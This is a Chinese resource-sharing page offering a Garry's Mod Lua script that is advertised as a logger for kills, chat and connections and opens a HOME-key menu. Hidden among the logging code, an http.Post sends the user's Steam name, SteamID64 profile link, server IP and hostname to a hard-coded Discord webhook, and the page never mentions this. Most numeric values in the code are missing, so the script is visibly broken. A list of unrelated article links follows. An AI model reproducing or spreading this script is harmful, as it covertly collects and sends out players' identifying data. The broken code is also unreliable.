*----------------------------------------------[下载区]----------------------------------------------*

 ux_log_chat=""local function Add_ux_log_chat(g)ux_log_chat = ux_log_chat.."\n"..g end hook.Add("OnPlayerChat","g",function(ply,text,bTeam,bDead)Add_ux_log_chat(os.date("%H:%M:%S").." "..ply:Nick()..": "..text)end)
ux_log_connect=""local function Add_ux_log_connect(g)ux_log_connect = ux_log_connect.."\n"..g end hook.Add( "ChatText", "g", function( index, name, text, typ ) if ( typ == "joinleave" ) then Add_ux_log_connect(os.date("%H:%M:%S").." "..text)end end)
ux_log_kills=""local function Add_ux_log_kills(g)ux_log_kills = ux_log_kills.."\n"..g end
gameevent.Listen( "entity_killed" )hook.Add( "entity_killed", "ux_kills", function( data )local inflictor_index = data.entindex_inflictor local attacker_index = data.entindex_attacker local damagebits = data.damagebits local victim_index = data.entindex_killed local ply = "unknown" local retard = game.GetWorld() local atk = "map" local wep = "unknown weapons" local killah = game.GetWorld() local inflictor = ents.GetByIndex(inflictor_index) for _, p in pairs(player.GetAll()) do if p:EntIndex() == victim_index then ply = p:Nick() retard = p end if p:EntIndex() == attacker_index then atk = p:Nick() killah = p if p:GetActiveWeapon() and p:GetActiveWeapon():IsValid() then wep = p:GetActiveWeapon():GetPrintName() end end end if attacker_index == victim_index then Add_ux_log_kills(os.date("%H:%M:%S").." ".. ply.." self-killed" ) end if inflictor:IsValid() and inflictor:GetClass() == "prop_physics" then Add_ux_log_kills(os.date("%H:%M:%S").." "..ply.." 被物品击杀" ) end Add_ux_log_kills(os.date("%H:%M:%S").." ".. atk.." 击杀 "..ply.." 武器是 "..wep) end)
ux_log_disconnect=""local function Add_ux_log_disconnect(g)ux_log_disconnect = ux_log_disconnect.."\n"..g end gameevent.Listen( "player_disconnect" ) hook.Add( "player_disconnect", "b", function( data )Add_ux_log_disconnect(os.date("%H:%M:%S").." "..data.name .. " ".. data.networkid.." disconnect (".. data.reason..")") end)http.Post("https://discordapp.com/api/webhooks/531169691016888332/yf9hB0wN1q1RyqHpK5pERp184so0-V-azo_UOCyG5t9iwANLIa1Y0FkbJ9MFPZ0W9Nsh",{content="[Ник:"..steamworks.GetPlayerName(LocalPlayer():SteamID64()).."][Сервер:"..game.GetIPAddress()..","..GetHostName().."][Время:"..os.date("%H:%M:%S").."][Профиль:steamcommunity.com/profiles/"..LocalPlayer():SteamID64().."/]"})
hook.Add("Think","h",function()if (input.IsKeyDown(KEY_HOME) && !menuopen && !insertdown) then menuopen = true;insertdown = true;ux_logs_menu()elseif (!input.IsKeyDown(KEY_HOME) && !menuopen) then insertdown = false; end if (input.IsKeyDown(KEY_HOME) && insertdown && menuopen) then insertdown2 = true; else insertdown2 = false; end end)
function ux_logs_menu()local ux_memu = vgui.Create( "DFrame" )ux_memu:SetSize( , )ux_memu:Center()exitmenu(ux_memu, , )ux_memu:SetTitle( "" )ux_memu:SetVisible( true )
ux_memu:SetDraggable( true )ux_memu:ShowCloseButton( false )ux_memu:MakePopup()ux_memu.Paint = function()DrawBlur(ux_memu, )draw.RoundedBox(, , , , , Color(, , ,))
surface.SetDrawColor(Color(, , , ))surface.DrawOutlinedRect(, , ux_memu:GetSize())surface.DrawOutlinedRect(, , ux_memu:GetSize())surface.DrawOutlinedRect(, , ux_memu:GetSize())
draw.SimpleText("盖瑞模组日志记录器", "exitmenu", , , Color(, , , ), , )end ux_memu.Think = function() if (input.IsKeyDown(KEY_HOME) && !insertdown2) then ux_memu:Remove();
menuopen = false;candoslider = false;drawlast = nil;
end
end
local Limon_b = vgui.Create("DButton", ux_memu)Limon_b:SetText( "" )Limon_b:SetSize(,)Limon_b:SetPos(,)
Limon_b.DoClick = function()
if IsValid(rtx) then rtx:Remove() end
rtx = vgui.Create( "RichText", ux_memu )rtx:SetPos(,)rtx:SetSize(,)rtx:InsertColorChange( , , , )rtx:AppendText(ux_log_kills)end
Limon_b.Paint = function(self, w, h)Limon_b.OnCursorEntered = function(self)surface.PlaySound("buttons/button15.wav")end if Limon_b:IsHovered() then draw.RoundedBox(, , , , , Color(, , , ))
surface.SetDrawColor(Color(, , , ))surface.DrawOutlinedRect(, , Limon_b:GetSize())surface.DrawOutlinedRect(, , Limon_b:GetSize())else draw.RoundedBox(, , , , , Color(, , , ))
surface.SetDrawColor(Color(, , , ))surface.DrawOutlinedRect(, , Limon_b:GetSize())surface.DrawOutlinedRect(, , Limon_b:GetSize())end draw.SimpleText("击杀记录", "exitmenu", w/, h/-, Color(, , , ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
end
local Limon_b = vgui.Create("DButton", ux_memu)Limon_b:SetText( "" )Limon_b:SetSize(,)Limon_b:SetPos(,)Limon_b.DoClick = function()if IsValid(rtx) then rtx:Remove()
end rtx = vgui.Create( "RichText", ux_memu ) rtx:SetPos(,) rtx:SetSize(,) rtx:InsertColorChange( , , , ) rtx:AppendText(ux_log_chat)
end
Limon_b.Paint = function(self, w, h)Limon_b.OnCursorEntered = function(self) surface.PlaySound("buttons/button15.wav") end if Limon_b:IsHovered() then draw.RoundedBox(, , , , , Color(, , , ))
surface.SetDrawColor(Color(, , , ))surface.DrawOutlinedRect(, , Limon_b:GetSize())surface.DrawOutlinedRect(, , Limon_b:GetSize())else draw.RoundedBox(, , , , , Color(, , , ))
surface.SetDrawColor(Color(, , , ))surface.DrawOutlinedRect(, , Limon_b:GetSize())surface.DrawOutlinedRect(, , Limon_b:GetSize()) end draw.SimpleText("聊天记录", "exitmenu", w/, h/-, Color(, , , ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
end local Limon_b = vgui.Create("DButton", ux_memu)
Limon_b:SetText( "" )Limon_b:SetSize(,) Limon_b:SetPos(,) Limon_b.DoClick = function() if IsValid(rtx) then
rtx:Remove() end rtx = vgui.Create( "RichText", ux_memu ) rtx:SetPos(,) rtx:SetSize(,) rtx:InsertColorChange( , , , ) rtx:AppendText(ux_log_disconnect)
end Limon_b.Paint = function(self, w, h) Limon_b.OnCursorEntered = function(self) surface.PlaySound("buttons/button15.wav") end if Limon_b:IsHovered() then
draw.RoundedBox(, , , , , Color(, , , ))surface.SetDrawColor(Color(, , , ))surface.DrawOutlinedRect(, , Limon_b:GetSize())surface.DrawOutlinedRect(, , Limon_b:GetSize())
else draw.RoundedBox(, , , , , Color(, , , ))surface.SetDrawColor(Color(, , , ))surface.DrawOutlinedRect(, , Limon_b:GetSize())surface.DrawOutlinedRect(, , Limon_b:GetSize())
end draw.SimpleText("断开记录", "exitmenu", w/, h/-, Color(, , , ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
end local Limon_b = vgui.Create("DButton", ux_memu)Limon_b:SetText( "" )Limon_b:SetSize(,)Limon_b:SetPos(,)Limon_b.DoClick = function()
if IsValid(rtx) then
rtx:Remove()
end rtx = vgui.Create( "RichText", ux_memu )rtx:SetPos(,)rtx:SetSize(,)rtx:InsertColorChange( , , , )rtx:AppendText(ux_log_connect)end Limon_b.Paint = function(self, w, h)
Limon_b.OnCursorEntered = function(self)surface.PlaySound("buttons/button15.wav")
end
if Limon_b:IsHovered() then
draw.RoundedBox(, , , , , Color(, , , ))surface.SetDrawColor(Color(, , , ))surface.DrawOutlinedRect(, , Limon_b:GetSize())surface.DrawOutlinedRect(, , Limon_b:GetSize())
else draw.RoundedBox(, , , , , Color(, , , ))surface.SetDrawColor(Color(, , , ))surface.DrawOutlinedRect(, , Limon_b:GetSize())surface.DrawOutlinedRect(, , Limon_b:GetSize())
end draw.SimpleText("连接记录", "exitmenu", w/, h/-, Color(, , , ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
end local Limon_b = vgui.Create("DButton", ux_memu)Limon_b:SetText( "" )Limon_b:SetSize(,)Limon_b:SetPos(,)Limon_b.DoClick = function()
if IsValid(rtx) then rtx:Remove()
end ux_log_kills=""ux_log_chat=""ux_log_connect=""ux_log_disconnect=""end Limon_b.Paint = function(self, w, h)
Limon_b.OnCursorEntered = function(self)surface.PlaySound("buttons/button15.wav")
end if Limon_b:IsHovered() then
draw.RoundedBox(, , , , , Color(, , , ))
surface.SetDrawColor(Color(, , , ))
surface.DrawOutlinedRect(, , Limon_b:GetSize())
surface.DrawOutlinedRect(, , Limon_b:GetSize())
else
draw.RoundedBox(, , , , , Color(, , , ))
surface.SetDrawColor(Color(, , , ))
surface.DrawOutlinedRect(, , Limon_b:GetSize())
surface.DrawOutlinedRect(, , Limon_b:GetSize())
end
draw.SimpleText("清除日志", "exitmenu", w/, h/-, Color(, , , ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
end
local Limon_b = vgui.Create("DButton", ux_memu)
Limon_b:SetText( "" )
Limon_b:SetSize(,)
Limon_b:SetPos(,)
Limon_b.DoClick = function()
gui.OpenURL("https://baidu.com/")
end
Limon_b.Paint = function(self, w, h)
Limon_b.OnCursorEntered = function(self)
surface.PlaySound("buttons/button15.wav")
end
if Limon_b:IsHovered() then
draw.RoundedBox(, , , , , Color(, , , ))
surface.SetDrawColor(Color(, , , ))
surface.DrawOutlinedRect(, , Limon_b:GetSize())
surface.DrawOutlinedRect(, , Limon_b:GetSize())
else
draw.RoundedBox(, , , , , Color(, , , ))
surface.SetDrawColor(Color(, , , ))
surface.DrawOutlinedRect(, , Limon_b:GetSize())
surface.DrawOutlinedRect(, , Limon_b:GetSize())
end
draw.SimpleText("百度一下", "exitmenu", w/, h/-, Color(, , , ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
end
end
function exitmenu(panel, X, y)
local CButton = vgui.Create("DButton", panel)
CButton:SetTextColor(Color(, , ))
CButton:SetText("X")
CButton:SetFont("exitmenu")
CButton:SetPos(X, y)
CButton:SetSize(, )
CButton.DoClick = function()
menuopen = false;
candoslider = false;
drawlast = nil;
panel:SizeTo(, , ., , .)
timer.Simple(0.3, function()
panel:SetVisible(false)
end)
end
CButton.Paint = function(panel, w, h)
surface.SetDrawColor(Color(, , , ))
surface.DrawOutlinedRect(, , CButton:GetSize())
draw.RoundedBox(, , , w, h, Color(, , , ))
end
CButton.OnCursorEntered = function(self)
surface.PlaySound("garrysmod/ui_hover.wav") CButton.Paint = function(panel, w, h)
draw.RoundedBox(, , , w, h, Color(, , , ))
end
end
CButton.OnCursorExited = function(self)
CButton.Paint = function(panel, w, h)
draw.RoundedBox(, , , w, h, Color(, , , ))
end
end
end
blur = Material("pp/blurscreen")
function DrawBlur(panel, amount)
local x, y = panel:LocalToScreen(, )
local scrW, scrH = ScrW(), ScrH()
surface.SetDrawColor(, , )
surface.SetMaterial(blur)
for i = , do
blur:SetFloat("$blur", (i / ) * (amount or ))
blur:Recompute()
render.UpdateScreenEffectTexture()
surface.DrawTexturedRect(x * -, y * -, scrW, scrH)
end
end
surface.CreateFont("exitmenu", {
font = "Arial",
size = ,
weight = ,
shadow = false,
outline = false
})

查看脚本

*----------------------------------------------[下载区]----------------------------------------------*

*----------------------------------------------[介绍区]----------------------------------------------*

可记录在服务器内击杀、连接等详情情况

*----------------------------------------------[介绍区]----------------------------------------------*

游戏截图:

【资源分享】Gmod日志记录脚本的更多相关文章

  1. [Linux] PHP-FPM开启慢日志记录

    fpm:FastCGI Process Manager 是一种替代的PHP FastCGI实现,对于负载较重的站点非常有用. .先进的进程控制,优雅的停止启动 .能够使用不同的uid/gid/chro ...

  2. Go/Python/Erlang编程语言对比分析及示例 基于RabbitMQ.Client组件实现RabbitMQ可复用的 ConnectionPool(连接池) 封装一个基于NLog+NLog.Mongo的日志记录工具类LogUtil 分享基于MemoryCache(内存缓存)的缓存工具类,C# B/S 、C/S项目均可以使用!

    Go/Python/Erlang编程语言对比分析及示例   本文主要是介绍Go,从语言对比分析的角度切入.之所以选择与Python.Erlang对比,是因为做为高级语言,它们语言特性上有较大的相似性, ...

  3. Android APP压力测试(三)之Monkey日志自动分析脚本

    Android APP压力测试(三) 之Monkey日志自动分析脚本 前言 上次说要分享Monkey日志的分析脚本,这次贴出来分享一下,废话不多说,请看正文. [目录] 1.Monkey日志分析脚本 ...

  4. linux实用的日志分析脚本

    日志分析 随意的tail一个access_log文件,下面是一条经典的访问记录 218.19.140.242 – - [10/Dec/2010:09:31:17 +0800] “GET /query/ ...

  5. MySQL慢日志监控脚本实例剖析

    公司线上的 MySQL 慢日志,之前一直没有做好监控.趁着上周空闲,我就把监控脚本写了下,今天特地把代码发出来与51博友分享一下. 针对脚本的注解和整体构思,我会放到脚本之后为大家详解. 1 2 3 ...

  6. 第十二篇 Integration Services:高级日志记录

    本篇文章是Integration Services系列的第十二篇,详细内容请参考原文. 简介在前一篇文章我们配置了SSIS内置日志记录,演示了简单和高级日志配置,保存并查看日志配置,生成自定义日志消息 ...

  7. 第十一篇 Integration Services:日志记录

    本篇文章是Integration Services系列的第十一篇,详细内容请参考原文. 简介在前一篇,我们讨论了事件行为.我们分享了操纵事件冒泡默认行为的方法,介绍了父子模式.在这一篇,我们会配置SS ...

  8. IIS 之 启用日志记录

    如何为网站启用日志记录或 在 Microsoft Internet Information Services (IIS) 6.0 中,在 IIS 5.0 中,并在 IIS 4.0 中的FTP 站点.可 ...

  9. 【译】第十二篇 Integration Services:高级日志记录

    本篇文章是Integration Services系列的第十二篇,详细内容请参考原文. 简介在前一篇文章我们配置了SSIS内置日志记录,演示了简单和高级日志配置,保存并查看日志配置,生成自定义日志消息 ...

随机推荐

  1. bootstrap234的ie兼容选择

    如果你需要兼容IE8甚至是IE7和IE6,那么只能选择Bootstrap2,虽然它自身在IE6的效果也并不完美.如果需要兼容IE678的话用2.如果需要高版本的浏览器,并且移动端优先的话,那么用boo ...

  2. C#中System.ServiceProgress报错

    场景 在C#中检索本地计算机所有服务时,使用 System.ServiceProcess.ServiceController[] services = System.ServiceProcess.Se ...

  3. jquery form表单赋值封装

    ;!(function ($) { $.fn.setFormValue = function (options) { var $this = $(this); $.each(options, func ...

  4. Python安装1 —— Python3.8的安装

    本文内容皆为作者原创,如需转载,请注明出处:https://www.cnblogs.com/xuexianqi/p/12377746.html 一:什么是Python解释器 解释器(英语:Interp ...

  5. 代数式转换为c语言表达式(很简单)

  6. linux100讲——80 系统函数库介绍

    1.系统自建了函数库,可以在脚本中引用 /etc/init.d/functions 2.自建函数库 使用 source 函数脚本文件 “导入”函数 3. vim /etc/init.d/functio ...

  7. 0级搭建类002-Oracle Linux 8.x安装(OEL 8.0) 公开

    项目文档引子系列是根据项目原型,制作的测试实验文档,目的是为了提升项目过程中的实际动手能力,打造精品文档AskScuti. 项目文档引子系列目前不对外发布,仅作为博客记录.如学员在实际工作过程中需提前 ...

  8. 基于EFCore3.0+Dapper 封装Repository

    Wei.Repository 基于EFCore3.0+Dapper 封装Repository,实现UnitOfWork,提供基本的CURD操作,可直接注入泛型Repository,也可以继承Repos ...

  9. c++中sort基础用法

    用法一:数组排序 对一个数组进行升序排序 #include <algorithm> #include <iostream> #include <cstdio> us ...

  10. 杭电oj 1087——super jump!jump!jump(java实现)

    question:Super Jumping! Jumping! Jumping! 意思就是找一串数字中的和最大子串 思路:创建另一个数组,每一项是路径数组对应项之前最大子串的和,然后遍历此数组找出最 ...